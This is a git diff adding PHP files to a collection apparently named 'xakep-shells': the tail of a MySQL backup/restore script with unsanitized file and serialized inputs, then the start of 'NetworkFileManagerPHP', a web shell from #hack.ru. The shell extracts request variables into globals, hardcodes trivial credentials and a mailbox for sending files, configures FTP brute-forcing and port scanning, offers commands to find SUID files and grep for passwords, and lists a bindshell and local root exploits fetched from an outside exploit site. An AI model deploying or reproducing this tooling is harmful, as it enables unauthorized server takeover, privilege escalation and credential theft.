+ $text = $error;
+ }
+
+ $host = isset($this->db['host']) ? $this->db['host'] : 'localhost';
+ $port = isset($this->db['port']) ? $this->db['port'] : '';
+ $user = isset($this->db['user']) ? $this->db['user'] : '';
+ $name = isset($this->db['name']) ? $this->db['name'] : '';
+
+ $this->output = <<
+
+
+ Database Settings
+
+
+
+ $text
+
+
+
+
+
+HTML;
+ }
+
+ function backup() {
+ global $HTTP_POST_VARS;
+
+ $this->read_db_details();
+ $this->connect();
+
+ $filename = $HTTP_POST_VARS['filename'];
+ $tables = $HTTP_POST_VARS['tables'];
+ $table_select = $HTTP_POST_VARS['table_select'];
+ $prefix = $this->db['prefix'];
+
+ switch ($tables)
+ {
+ case 'all':
+ $tables = mysql_list_tables($this->db['name']);
+ while (list($table_name) = mysql_fetch_array($tables))
+ {
+ $options[ $table_name ] = 0;
+ }
+ break;
+
+ case 'prefix':
+ $tables = mysql_list_tables($this->db['name']);
+ while (list($table_name) = mysql_fetch_array($tables))
+ {
+ if (substr($table_name,0,strlen($prefix)) == $prefix)
+ {
+ $options[ $table_name ] = 0;
+ }
+ }
+ break;
+
+ case 'selected':
+ foreach ($table_select as $table_name)
+ {
+ $options[ $table_name ] = 0;
+ }
+ }
+
+ if (!count($options))
+ {
+ $this->error('No tables selected');
+ }
+
+
+ $data = base64_encode(serialize($options));
+
+ $header = <<error('Unable to write to backup file. Please CHMod the current directory so it is writable');
+ }
+ fwrite($fp,$header);
+ fclose($fp);
+
+ $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
+
+ $this->meta = ' ';
+ $this->output = <<
+
+ Backup in progress...
+
+
+
+
+
+
+
+HTML;
+
+ }
+
+ function do_backup() {
+ global $HTTP_GET_VARS;
+
+ $this->read_db_details();
+ $this->connect();
+
+ $data = unserialize(base64_decode($HTTP_GET_VARS['data']));
+ $filename = $HTTP_GET_VARS['file'];
+
+ $timedout = 0;
+ $dump = '';
+
+ foreach ($data as $table => $line)
+ {
+ if (!$this->timeout())
+ {
+ $returned = $this->backup_table($table, $line);
+
+ if (is_array($returned))
+ {
+ $timedout = 1;
+ $dump .= $returned[0];
+ $data[ $table ] = $returned[1];
+ }
+ else
+ {
+ $dump .= $returned;
+ unset($data[ $table ]);
+ }
+ }
+ else
+ {
+ $timedout = 1;
+ }
+ }
+
+ if (!$fp = fopen($filename, 'ab'))
+ {
+ return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable');
+ }
+ fwrite($fp,$dump);
+ fclose($fp);
+
+ if ($timedout)
+ {
+ $data = base64_encode(serialize($data));
+ $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data;
+ $this->meta = ' ';
+
+ $this->output = <<
+
+ Backup in progress...
+
+
+
+
+
+
+
+HTML;
+ }
+ else
+ {
+ $this->output = <<
+
+ Backup Completed
+
+
+
+
+
+
+
+HTML;
+ }
+
+ }
+
+ function backup_table($table,$start) {
+ $dump = '';
+
+ if (!$start)
+ {
+ $result = mysql_query('SHOW FIELDS FROM '.$table);
+
+ while ($field = mysql_fetch_assoc($result))
+ {
+ if (!$field['Null'])
+ {
+ $null = ' NOT NULL default "'.$field['Default'].'"';
+ }
+ else
+ {
+ $null = '';
+ }
+
+ if ($field['Extra'])
+ {
+ $field['Extra'] = ' '.$field['Extra'];
+ }
+
+ $field_row[] = ' ' . $field['Field'] . ' ' . $field['Type'] . $null . $field['Extra'];
+ }
+
+ $result = mysql_query('SHOW KEYS FROM '.$table);
+
+ while ($key = mysql_fetch_assoc($result))
+ {
+ if ($key['Key_name'] == 'PRIMARY')
+ {
+ $primary_key = $key['Column_name'];
+ }
+ else
+ {
+ $unique[ $key['Key_name'] ][] = $key['Column_name'];
+ }
+ }
+
+ if (isset($primary_key))
+ {
+ $field_row[] = ' PRIMARY KEY (' . $primary_key . ')';
+ }
+
+ if (isset($unique))
+ {
+ foreach ($unique as $name => $keys)
+ {
+ $field_row[] = ' UNIQUE ' . $name . ' (' . implode(',',$keys) . ')';
+ }
+ }
+
+
+ $dump .= "\n\n--\n";
+ $dump .= "-- Table structure for table '$table'\n";
+ $dump .= "--\n\n";
+ $dump .= "CREATE TABLE $table (\n";
+ $dump .= implode(",\n",$field_row);
+ $dump .= "\n);\n\n";
+
+ $dump .= "\n\n--\n";
+ $dump .= "-- Dumping data for table '$table'\n";
+ $dump .= "--\n\n";
+ }
+
+
+ //
+ // Records
+ //
+
+ $done = 0;
+ $result = mysql_query('SELECT * FROM '.$table.' LIMIT '.$start.',-1');
+
+ while ($row = mysql_fetch_row($result))
+ {
+ if ($this->timeout())
+ {
+ return array($dump,$done);
+ }
+
+ $done++;
+
+ foreach ($row as $id => $value)
+ {
+ $value = str_replace('"','\\"',$value);
+ $row[$id] = '"'.$value.'"';
+
+ }
+
+ $dump .= 'INSERT INTO ' . $table . ' VALUES (' . implode(',',$row) . ");\n";
+ }
+
+ return $dump;
+ }
+
+
+ function main() {
+ if (!$this->link)
+ {
+ if (!$this->read_db_details())
+ {
+ return $this->set_database();
+ }
+
+ if ($error_text = $this->connect(1))
+ {
+ return $this->set_database($error_text);
+ }
+ }
+
+
+ $tables_to_backup = '';
+
+ if ($this->db['prefix'])
+ {
+ $tables_to_backup .= ' IPB Tables Only ';
+ $tables_to_backup .= ' All ';
+ }
+ else
+ {
+ $tables_to_backup .= ' All ';
+ }
+
+ $tables = mysql_list_tables($this->db['name']);
+
+ $options = '';
+ while (list($table_name) = mysql_fetch_array($tables))
+ {
+ $options .= ''.$table_name.' ';
+ }
+
+ $tables_to_backup .= << Selected tables:
+
+
+$options
+
+
+HTML;
+
+
+ $options = '';
+ if ($dir = @opendir('./'))
+ {
+ while ($file = readdir($dir))
+ {
+ $temp = strtolower($file);
+
+ if ($file != '.' && $file != '..' && strpos($temp, '.sql'))
+ {
+ $options .= ''.$file.' ';
+ }
+ }
+ closedir($dir);
+ }
+ $restore_files = ''.$options.' ';
+
+ $restore_files .= 'or path: ';
+
+ $this->output = <<
+
+
+ Selected Database Details
+
+
+
+
+
+ Host / Port
+ {$this->db['host']}:{$this->db['port']}
+
+
+ Database Name
+ {$this->db['name']}
+
+
+ Username
+ {$this->db['user']}
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Backup Options
+
+
+
+
+
+
+
+
+
+
+
+
+ Restore Options
+
+
+
+
+
+
+
+
+HTML;
+ }
+
+ function restore() {
+ global $HTTP_POST_VARS;
+
+ $this->read_db_details();
+ $filename = $HTTP_POST_VARS['filename'];
+ $relfilename = $HTTP_POST_VARS['relfilename'];
+
+ if ($relfilename)
+ {
+ $filename = $relfilename;
+ }
+
+ $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename);
+
+ $this->output = <<
+
+ Confirm Restoration
+
+
+
+
+
+
+
+HTML;
+ }
+
+ function do_restore() {
+ global $HTTP_GET_VARS;
+
+ $filename = $HTTP_GET_VARS['filename'];
+ $this->read_db_details();
+ $this->connect();
+
+ $filesize = filesize($filename);
+ $file_position = isset($HTTP_GET_VARS['pos']) ? $HTTP_GET_VARS['pos'] : 0;
+ $errors = isset($HTTP_GET_VARS['ignore_errors']) ? 0 : 1;
+
+ if (!$fp = fopen($filename,'rb'))
+ {
+ return $this->error('Unable to open file "'.$filename.'"');
+ }
+
+ $buffer = '';
+ $inside_quote = 0;
+ $quote_inside = '';
+ $started_query = 0;
+
+ $data_buffer = '';
+
+ $last_char = "\n";
+
+ // Sets file position indicator
+ fseek($fp,$file_position);
+
+ while ((!feof($fp) || strlen($buffer)) && !$this->timeout())
+ {
+ do
+ {
+ // Deals with the length of the buffer
+ if (!strlen($buffer))
+ {
+ $buffer .= fread ($fp,1024);
+ }
+
+ // Fiddle around with the buffers
+ $current_char = $buffer[0];
+ $buffer = substr($buffer, 1);
+
+
+ if ($started_query)
+ {
+ $data_buffer .= $current_char;
+ }
+ elseif (preg_match("/[A-Za-z]/i",$current_char) && $last_char == "\n")
+ {
+ $started_query = 1;
+ $data_buffer = $current_char;
+ }
+ else
+ {
+ $last_char = $current_char;
+ }
+ } while (!$started_query && (!feof($fp) || strlen($buffer)));
+
+
+ if ($inside_quote && $current_char == $quote_inside && $last_char != '\\')
+ {
+ // We were inside a quote but now we aren't so reset the flag and carry on
+ $inside_quote = 0;
+ }
+ elseif ($current_char == '\\' && $last_char == '\\')
+ {
+ $current_char = '';
+ }
+ elseif (!$inside_quote && ($current_char == '"' || $current_char == '`' || $current_char == '\''))
+ {
+ // We have just entered a new quote
+ $inside_quote = 1;
+ $quote_inside = $current_char;
+ }
+ elseif (!$inside_quote && $current_char == ';')
+ {
+ // End of query so execute query, clear data buffer and advance counter
+ mysql_query($data_buffer);
+
+ if ($errors && mysql_errno())
+ {
+ $new_position = ftell($fp) - strlen($buffer);
+ return $this->restore_error($data_buffer, $new_position);
+ }
+
+
+ $data_buffer = '';
+ $last_char = "\n";
+ $started_query = 0;
+ }
+
+ $last_char = $current_char;
+ }
+
+
+ $new_position = ftell($fp) - strlen($buffer) - strlen($data_buffer);
+
+ if (feof($fp))
+ {
+ $this->output = <<
+
+ Restoration Completed
+
+
+
+
+
+
+ The restore progress has finished.
+
+
+
+
+
+
+HTML;
+ }
+ else
+ {
+ $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$new_position;
+
+ if (!$errors)
+ {
+ $url .= '&ignore_errors=1';
+ }
+
+ $process = floor(($new_position / $filesize) * 100);
+
+ $this->meta = ' ';
+ $this->title = $process.'% Complete';
+ $this->output = <<
+
+ Restore in progress...
+
+
+
+
+
+
+
+HTML;
+ }
+
+ fclose($fp);
+
+ }
+
+ function restore_error($query, $position) {
+ global $HTTP_GET_VARS;
+
+ $filename = $HTTP_GET_VARS['filename'];
+
+ $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$position;
+
+ $mysql_error = mysql_error();
+
+ $this->output = <<
+
+ Query Failed
+
+
+
+
+
+
+
+HTML;
+ }
+
+}
+
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/network.php.php.txt b/xakep-shells/PHP/network.php.php.txt
new file mode 100644
index 0000000..a0cf326
--- /dev/null
+++ b/xakep-shells/PHP/network.php.php.txt
@@ -0,0 +1,5603 @@
+
+
+if (ini_get('register_globals') != '1') {
+
+ if (!empty($HTTP_POST_VARS))
+
+ extract($HTTP_POST_VARS);
+
+
+
+ if (!empty($HTTP_GET_VARS))
+
+ extract($HTTP_GET_VARS);
+
+ if (!empty($HTTP_SERVER_VARS))
+
+ extract($HTTP_SERVER_VARS);
+
+}
+
+
+
+$use_md5=0; // Define use of MD5 crypt algoritm //
+
+$uname="1";
+
+$upass="1";
+
+
+
+
+
+
+if ($action != "download" && $action != "view" ):
+
+?>
+
+
+
+
+
+
+
+/* Define your email for file send function*/
+
+$demail ="effes2004@gmail.com";
+
+
+
+/* config here */
+
+$title="NetworkFileManagerPHP for channel #hack.ru";
+
+$ver="1.7.private ([final_english_release])";
+
+$sob="Belongs to revers ";
+
+$id="1337";
+
+
+
+/* FTP-bruteforce */
+
+$filename="/etc/passwd";
+
+$ftp_server="localhost";
+
+/* port scanner */
+
+$min="1";
+
+$max="65535";
+
+
+
+/* Aliases */
+
+$aliases=array(
+
+/* find all SUID files */
+
+'find / -type f -perm -04000 -ls' => 'find all suid files' ,
+
+/* find all SGID files */
+
+'find / -type f -perm -02000 -ls' => 'find all sgid files',
+
+/* find all config.inc.php files */
+
+'find / -type f -name config.inc.php' => 'find all config.inc.php files',
+
+/* find accesseable writeable directories and files*/
+
+'find / -perm -2 -ls' => 'find writeable directories and files',
+
+'ls -la' => 'Current directory listing with rights access',
+
+'find / -name *.php | xargs grep -li password' =>'searsh all file .php word password'
+
+
+
+);
+
+
+
+/* ports and services names */
+
+$port[1] = "tcpmux (TCP Port Service Multiplexer)";
+
+$port[2] = "Management Utility";
+
+$port[3] = "Compression Process";
+
+$port[5] = "rje (Remote Job Entry)";
+
+$port[7] = "echo";
+
+$port[9] = "discard";
+
+$port[11] = "systat";
+
+$port[13] = "daytime";
+
+$port[15] = "netstat";
+
+$port[17] = "quote of the day";
+
+$port[18] = "send/rwp";
+
+$port[19] = "character generator";
+
+$port[20] = "ftp-data";
+
+$port[21] = "ftp";
+
+$port[22] = "ssh, pcAnywhere";
+
+$port[23] = "Telnet";
+
+$port[25] = "SMTP (Simple Mail Transfer)";
+
+$port[27] = "ETRN (NSW User System FE)";
+
+$port[29] = "MSG ICP";
+
+$port[31] = "MSG Authentication";
+
+$port[33] = "dsp (Display Support Protocol)";
+
+$port[37] = "time";
+
+$port[38] = "RAP (Route Access Protocol)";
+
+$port[39] = "rlp (Resource Location Protocol)";
+
+$port[41] = "Graphics";
+
+$port[42] = "nameserv, WINS";
+
+$port[43] = "whois, nickname";
+
+$port[44] = "MPM FLAGS Protocol";
+
+$port[45] = "Message Processing Module [recv]";
+
+$port[46] = "MPM [default send]";
+
+$port[47] = "NI FTP";
+
+$port[48] = "Digital Audit Daemon";
+
+$port[49] = "TACACS, Login Host Protocol";
+
+$port[50] = "RMCP, re-mail-ck";
+
+$port[53] = "DNS";
+
+$port[57] = "MTP (any private terminal access)";
+
+$port[59] = "NFILE";
+
+$port[60] = "Unassigned";
+
+$port[61] = "NI MAIL";
+
+$port[62] = "ACA Services";
+
+$port[63] = "whois++";
+
+$port[64] = "Communications Integrator (CI)";
+
+$port[65] = "TACACS-Database Service";
+
+$port[66] = "Oracle SQL*NET";
+
+$port[67] = "bootps (Bootstrap Protocol Server)";
+
+$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)";
+
+$port[69] = "Trivial File Transfer Protocol (tftp)";
+
+$port[70] = "Gopher";
+
+$port[71] = "Remote Job Service";
+
+$port[72] = "Remote Job Service";
+
+$port[73] = "Remote Job Service";
+
+$port[74] = "Remote Job Service";
+
+$port[75] = "any private dial out service";
+
+$port[76] = "Distributed External Object Store";
+
+$port[77] = "any private RJE service";
+
+$port[78] = "vettcp";
+
+$port[79] = "finger";
+
+$port[80] = "World Wide Web HTTP";
+
+$port[81] = "HOSTS2 Name Serve";
+
+$port[82] = "XFER Utility";
+
+$port[83] = "MIT ML Device";
+
+$port[84] = "Common Trace Facility";
+
+$port[85] = "MIT ML Device";
+
+$port[86] = "Micro Focus Cobol";
+
+$port[87] = "any private terminal link";
+
+$port[88] = "Kerberos, WWW";
+
+$port[89] = "SU/MIT Telnet Gateway";
+
+$port[90] = "DNSIX Securit Attribute Token Map";
+
+$port[91] = "MIT Dover Spooler";
+
+$port[92] = "Network Printing Protocol";
+
+$port[93] = "Device Control Protocol";
+
+$port[94] = "Tivoli Object Dispatcher";
+
+$port[95] = "supdup";
+
+$port[96] = "DIXIE";
+
+$port[98] = "linuxconf";
+
+$port[99] = "Metagram Relay";
+
+$port[100] = "[unauthorized use]";
+
+$port[101] = "HOSTNAME";
+
+$port[102] = "ISO, X.400, ITOT";
+
+$port[103] = "Genesis Point-to㝀ƭoi Tnset";
+
+$port[104] = "ACR-NEMA Digital Imag. & Comm. 300";
+
+$port[105] = "CCSO name server protocol";
+
+$port[106] = "poppassd";
+
+$port[107] = "Remote Telnet Service";
+
+$port[108] = "SNA Gateway Access Server";
+
+$port[109] = "POP2";
+
+$port[110] = "POP3";
+
+$port[111] = "Sun RPC Portmapper";
+
+$port[112] = "McIDAS Data Transmission Protocol";
+
+$port[113] = "Authentication Service";
+
+$port[115] = "sftp (Simple File Transfer Protocol)";
+
+$port[116] = "ANSA REX Notify";
+
+$port[117] = "UUCP Path Service";
+
+$port[118] = "SQL Services";
+
+$port[119] = "NNTP";
+
+$port[120] = "CFDP";
+
+$port[123] = "NTP";
+
+$port[124] = "SecureID";
+
+$port[129] = "PWDGEN";
+
+$port[133] = "statsrv";
+
+$port[135] = "loc-srv/epmap";
+
+$port[137] = "netbios-ns";
+
+$port[138] = "netbios-dgm (UDP)";
+
+$port[139] = "NetBIOS";
+
+$port[143] = "IMAP";
+
+$port[144] = "NewS";
+
+$port[150] = "SQL-NET";
+
+$port[152] = "BFTP";
+
+$port[153] = "SGMP";
+
+$port[156] = "SQL Service";
+
+$port[161] = "SNMP";
+
+$port[175] = "vmnet";
+
+$port[177] = "XDMCP";
+
+$port[178] = "NextStep Window Server";
+
+$port[179] = "BGP";
+
+$port[180] = "SLmail admin";
+
+$port[199] = "smux";
+
+$port[210] = "Z39.50";
+
+$port[213] = "IPX";
+
+$port[218] = "MPP";
+
+$port[220] = "IMAP3";
+
+$port[256] = "RAP";
+
+$port[257] = "Secure Electronic Transaction";
+
+$port[258] = "Yak Winsock Personal Chat";
+
+$port[259] = "ESRO";
+
+$port[264] = "FW1_topo";
+
+$port[311] = "Apple WebAdmin";
+
+$port[350] = "MATIP type A";
+
+$port[351] = "MATIP type B";
+
+$port[363] = "RSVP tunnel";
+
+$port[366] = "ODMR (On-Demand Mail Relay)";
+
+$port[371] = "Clearcase";
+
+$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)";
+
+$port[389] = "LDAP";
+
+$port[407] = "Timbuktu";
+
+$port[427] = "Server Location";
+
+$port[434] = "Mobile IP";
+
+$port[443] = "ssl";
+
+$port[444] = "snpp, Simple Network Paging Protocol";
+
+$port[445] = "SMB";
+
+$port[458] = "QuickTime TV/Conferencing";
+
+$port[468] = "Photuris";
+
+$port[475] = "tcpnethaspsrv";
+
+$port[500] = "ISAKMP, pluto";
+
+$port[511] = "mynet-as";
+
+$port[512] = "biff, rexec";
+
+$port[513] = "who, rlogin";
+
+$port[514] = "syslog, rsh";
+
+$port[515] = "lp, lpr, line printer";
+
+$port[517] = "talk";
+
+$port[520] = "RIP (Routing Information Protocol)";
+
+$port[521] = "RIPng";
+
+$port[522] = "ULS";
+
+$port[531] = "IRC";
+
+$port[543] = "KLogin, AppleShare over IP";
+
+$port[545] = "QuickTime";
+
+$port[548] = "AFP";
+
+$port[554] = "Real Time Streaming Protocol";
+
+$port[555] = "phAse Zero";
+
+$port[563] = "NNTP over SSL";
+
+$port[575] = "VEMMI";
+
+$port[581] = "Bundle Discovery Protocol";
+
+$port[593] = "MS-RPC";
+
+$port[608] = "SIFT/UFT";
+
+$port[626] = "Apple ASIA";
+
+$port[631] = "IPP (Internet Printing Protocol)";
+
+$port[635] = "RLZ DBase";
+
+$port[636] = "sldap";
+
+$port[642] = "EMSD";
+
+$port[648] = "RRP (NSI Registry Registrar Protocol)";
+
+$port[655] = "tinc";
+
+$port[660] = "Apple MacOS Server Admin";
+
+$port[666] = "Doom";
+
+$port[674] = "ACAP";
+
+$port[687] = "AppleShare IP Registry";
+
+$port[700] = "buddyphone";
+
+$port[705] = "AgentX for SNMP";
+
+$port[901] = "swat, realsecure";
+
+$port[993] = "s-imap";
+
+$port[995] = "s-pop";
+
+$port[1024] = "Reserved";
+
+$port[1025] = "network blackjack";
+
+$port[1062] = "Veracity";
+
+$port[1080] = "SOCKS";
+
+$port[1085] = "WebObjects";
+
+$port[1227] = "DNS2Go";
+
+$port[1243] = "SubSeven";
+
+$port[1338] = "Millennium Worm";
+
+$port[1352] = "Lotus Notes";
+
+$port[1381] = "Apple Network License Manager";
+
+$port[1417] = "Timbuktu Service 1 Port";
+
+$port[1418] = "Timbuktu Service 2 Port";
+
+$port[1419] = "Timbuktu Service 3 Port";
+
+$port[1420] = "Timbuktu Service 4 Port";
+
+$port[1433] = "Microsoft SQL Server";
+
+$port[1434] = "Microsoft SQL Monitor";
+
+$port[1477] = "ms-sna-server";
+
+$port[1478] = "ms-sna-base";
+
+$port[1490] = "insitu-conf";
+
+$port[1494] = "Citrix ICA Protocol";
+
+$port[1498] = "Watcom-SQL";
+
+$port[1500] = "VLSI License Manager";
+
+$port[1503] = "T.120";
+
+$port[1521] = "Oracle SQL";
+
+$port[1522] = "Ricardo North America License Manager";
+
+$port[1524] = "ingres";
+
+$port[1525] = "prospero";
+
+$port[1526] = "prospero";
+
+$port[1527] = "tlisrv";
+
+$port[1529] = "oracle";
+
+$port[1547] = "laplink";
+
+$port[1604] = "Citrix ICA, MS Terminal Server";
+
+$port[1645] = "RADIUS Authentication";
+
+$port[1646] = "RADIUS Accounting";
+
+$port[1680] = "Carbon Copy";
+
+$port[1701] = "L2TP/LSF";
+
+$port[1717] = "Convoy";
+
+$port[1720] = "H.323/Q.931";
+
+$port[1723] = "PPTP control port";
+
+$port[1731] = "MSICCP";
+
+$port[1755] = "Windows Media .asf";
+
+$port[1758] = "TFTP multicast";
+
+$port[1761] = "cft-0";
+
+$port[1762] = "cft-1";
+
+$port[1763] = "cft-2";
+
+$port[1764] = "cft-3";
+
+$port[1765] = "cft-4";
+
+$port[1766] = "cft-5";
+
+$port[1767] = "cft-6";
+
+$port[1808] = "Oracle-VP2";
+
+$port[1812] = "RADIUS server";
+
+$port[1813] = "RADIUS accounting";
+
+$port[1818] = "ETFTP";
+
+$port[1973] = "DLSw DCAP/DRAP";
+
+$port[1985] = "HSRP";
+
+$port[1999] = "Cisco AUTH";
+
+$port[2001] = "glimpse";
+
+$port[2049] = "NFS";
+
+$port[2064] = "distributed.net";
+
+$port[2065] = "DLSw";
+
+$port[2066] = "DLSw";
+
+$port[2106] = "MZAP";
+
+$port[2140] = "DeepThroat";
+
+$port[2301] = "Compaq Insight Management Web Agents";
+
+$port[2327] = "Netscape Conference";
+
+$port[2336] = "Apple UG Control";
+
+$port[2427] = "MGCP gateway";
+
+$port[2504] = "WLBS";
+
+$port[2535] = "MADCAP";
+
+$port[2543] = "sip";
+
+$port[2592] = "netrek";
+
+$port[2727] = "MGCP call agent";
+
+$port[2628] = "DICT";
+
+$port[2998] = "ISS Real Secure Console Service Port";
+
+$port[3000] = "Firstclass";
+
+$port[3001] = "Redwood Broker";
+
+$port[3031] = "Apple AgentVU";
+
+$port[3128] = "squid";
+
+$port[3130] = "ICP";
+
+$port[3150] = "DeepThroat";
+
+$port[3264] = "ccmail";
+
+$port[3283] = "Apple NetAssitant";
+
+$port[3288] = "COPS";
+
+$port[3305] = "ODETTE";
+
+$port[3306] = "mySQL";
+
+$port[3389] = "RDP Protocol (Terminal Server)";
+
+$port[3521] = "netrek";
+
+$port[4000] = "icq, command-n-conquer and shell nfm";
+
+$port[4321] = "rwhois";
+
+$port[4333] = "mSQL";
+
+$port[4444] = "KRB524";
+
+$port[4827] = "HTCP";
+
+$port[5002] = "radio free ethernet";
+
+$port[5004] = "RTP";
+
+$port[5005] = "RTP";
+
+$port[5010] = "Yahoo! Messenger";
+
+$port[5050] = "multimedia conference control tool";
+
+$port[5060] = "SIP";
+
+$port[5150] = "Ascend Tunnel Management Protocol";
+
+$port[5190] = "AIM";
+
+$port[5500] = "securid";
+
+$port[5501] = "securidprop";
+
+$port[5423] = "Apple VirtualUser";
+
+$port[5555] = "Personal Agent";
+
+$port[5631] = "PCAnywhere data";
+
+$port[5632] = "PCAnywhere";
+
+$port[5678] = "Remote Replication Agent Connection";
+
+$port[5800] = "VNC";
+
+$port[5801] = "VNC";
+
+$port[5900] = "VNC";
+
+$port[5901] = "VNC";
+
+$port[6000] = "X Windows";
+
+$port[6112] = "BattleNet";
+
+$port[6502] = "Netscape Conference";
+
+$port[6667] = "IRC";
+
+$port[6670] = "VocalTec Internet Phone, DeepThroat";
+
+$port[6699] = "napster";
+
+$port[6776] = "Sub7";
+
+$port[6970] = "RTP";
+
+$port[7007] = "MSBD, Windows Media encoder";
+
+$port[7070] = "RealServer/QuickTime";
+
+$port[7777] = "cbt";
+
+$port[7778] = "Unreal";
+
+$port[7648] = "CU-SeeMe";
+
+$port[7649] = "CU-SeeMe";
+
+$port[8000] = "iRDMI/Shoutcast Server";
+
+$port[8010] = "WinGate 2.1";
+
+$port[8080] = "HTTP";
+
+$port[8181] = "HTTP";
+
+$port[8383] = "IMail WWW";
+
+$port[8875] = "napster";
+
+$port[8888] = "napster";
+
+$port[8889] = "Desktop Data TCP 1";
+
+$port[8890] = "Desktop Data TCP 2";
+
+$port[8891] = "Desktop Data TCP 3: NESS application";
+
+$port[8892] = "Desktop Data TCP 4: FARM product";
+
+$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application";
+
+$port[8894] = "Desktop Data TCP 6: COAL application";
+
+$port[9000] = "CSlistener";
+
+$port[10008] = "cheese worm";
+
+$port[11371] = "PGP 5 Keyserver";
+
+$port[13223] = "PowWow";
+
+$port[13224] = "PowWow";
+
+$port[14237] = "Palm";
+
+$port[14238] = "Palm";
+
+$port[18888] = "LiquidAudio";
+
+$port[21157] = "Activision";
+
+$port[22555] = "Vocaltec Web Conference";
+
+$port[23213] = "PowWow";
+
+$port[23214] = "PowWow";
+
+$port[23456] = "EvilFTP";
+
+$port[26000] = "Quake";
+
+$port[27001] = "QuakeWorld";
+
+$port[27010] = "Half-Life";
+
+$port[27015] = "Half-Life";
+
+$port[27960] = "QuakeIII";
+
+$port[30029] = "AOL Admin";
+
+$port[31337] = "Back Orifice";
+
+$port[32777] = "rpc.walld";
+
+$port[45000] = "Cisco NetRanger postofficed";
+
+$port[32773] = "rpc bserverd";
+
+$port[32776] = "rpc.spray";
+
+$port[32779] = "rpc.cmsd";
+
+$port[38036] = "timestep";
+
+$port[40193] = "Novell";
+
+$port[41524] = "arcserve discovery";
+
+
+
+/* finished config, here goes the design */
+
+$meta = " ";
+
+$style=<<
+
+style;
+
+
+
+/* table styles */
+
+$style1=<<
+
+function ins(text){
+
+document.hackru.chars_de.value+=text;
+
+document.hackru.chars_de.focus();
+
+}
+
+
+
+ins;
+
+
+
+/* send form */
+
+$form = "
+
+
+
+";
+
+
+
+
+
+
+
+/* HTML Form */
+
+$HTML=<<
+
+
+
+$title $ver
+
+$meta
+
+$style
+
+$ins
+
+
+
+
+
+
+
+
+
+NetworkFileManagerPHP (© #hack.ru) Version: $ver
+
+Script for l33t admin job
+
+
+
+Script help:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Net tools:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Exploits access:
+
+
+
+
+
+
+
+l33t tools:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+$sob ID:$id
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Traffic tools:
+
+
+
+
+
+
+
+
+html;
+
+$key="goatse";
+
+$string="";
+
+/* randomizing letters array for random filenames of compression folders */
+
+$CHARS = "abcdefghijklmnopqrstuvwxyz";
+
+for ($i=0; $i<6; $i++) $pass .= $CHARS[rand(0,strlen($CHARS)-1)];
+
+
+
+/* set full path to host and dir where public exploits and soft are situated */
+
+$public_site = "http://hackru.info/adm/exploits/public_exploits/";
+
+/* $public_site = "http://localhost/adm/public_exploits/"; */
+
+/* Public exploits and soft */
+
+$public[1] = "s"; // bindshell
+
+$title_ex[1] = "
+
+ bindtty.c - remote shell on 4000 port, with rights of current user (id of apache)
+
+Run: ./s
+
+ Connect tot host with your favorite telnet client. Best of them are putty and SecureCRT
+
+";
+
+$public[2] = "m"; // mremap
+
+$title_ex[2] = "
+
+ MREMAP - allows to gain local root priveleges by exploiting the bug of memory .
+
+Run: ./m
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$public[3] = "p"; // ptrace
+
+$title_ex[3] = "
+
+ PTRACE - good one, works like mremap, but for another bug
+
+Run: ./p
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$public[4] = "psyBNC2.3.2-4.tar.gz"; // psybnc
+
+$title_ex[4] = "
+
+ psyBNC - Last release of favorite IRC bouncer
+
+Decompression: tar -zxf psyBNC2.3.2-4.tar.gz // will be folder psybnc
+
+Compilation, installing and running psybnc: make // making psybnc // ./psybnc // You may edit psybnc.conf with NFM, Default listening port is 31337 - connect to it with your favotite IRC client and set a password
+
+ Allowed to run with uid of apache, but check out the firewall!
+
+";
+
+/* Private exploits */
+
+$private[1] = "brk"; // localroot root linux 2.4.*
+
+$title_exp[1] = "
+
+ localroot root linux 2.4.* - Exploit do_brk (code added) - gains local root priveleges if exploited succes
+
+Run: ./brk
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[2] = "dupescan"; // Glftpd DupeScan Local Exploit by RagnaroK
+
+$title_exp[2] = "
+
+ lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon
+
+There are 2 files: dupescan and glftpd To gain root uid, you need to write dupescan to
+
+glftpd/bin/ with command cp dupescan glftpd/bin/ , and after run ./glftpd . Get the root!!!
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[3] = "glftpd";
+
+$title_exp[3] = "
+
+ lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon
+
+part 2
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[4] = "sortrace";
+
+$title_exp[4] = "
+
+ Traceroute v1.4a5 exploit by sorbo - private local root exploit for traceroute up to 1.4.a5
+
+Run: ./sortrace
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[5] = "root";
+
+$title_exp[5] = "
+
+ localroot root linux 2.4.* - ptrace private_mod exploits, may gain local root privaleges
+
+Run: ./root
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[6] = "sxp";
+
+$title_exp[6] = "
+
+ Sendmail 8.11.x exploit localroot - private local root exploit for Sendmail 8.11.x
+
+Run: ./sxp
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[7] = "ptrace_kmod";
+
+$title_exp[7] = "
+
+ localroot root linux 2.4.* - private local root exploit, uses kmod bug + ptrace , gives local root
+
+Run: ./ptrace_kmod
+
+ Note: Run only from telnet session, not from web!!!
+
+";
+
+$private[8] = "mr1_a";
+
+$title_exp[8] = "
+
+ localroot root linux 2.4.* - mremap any memory size local root exploit for kernels 2.4.x
+
+Run: ./mr1_a
+
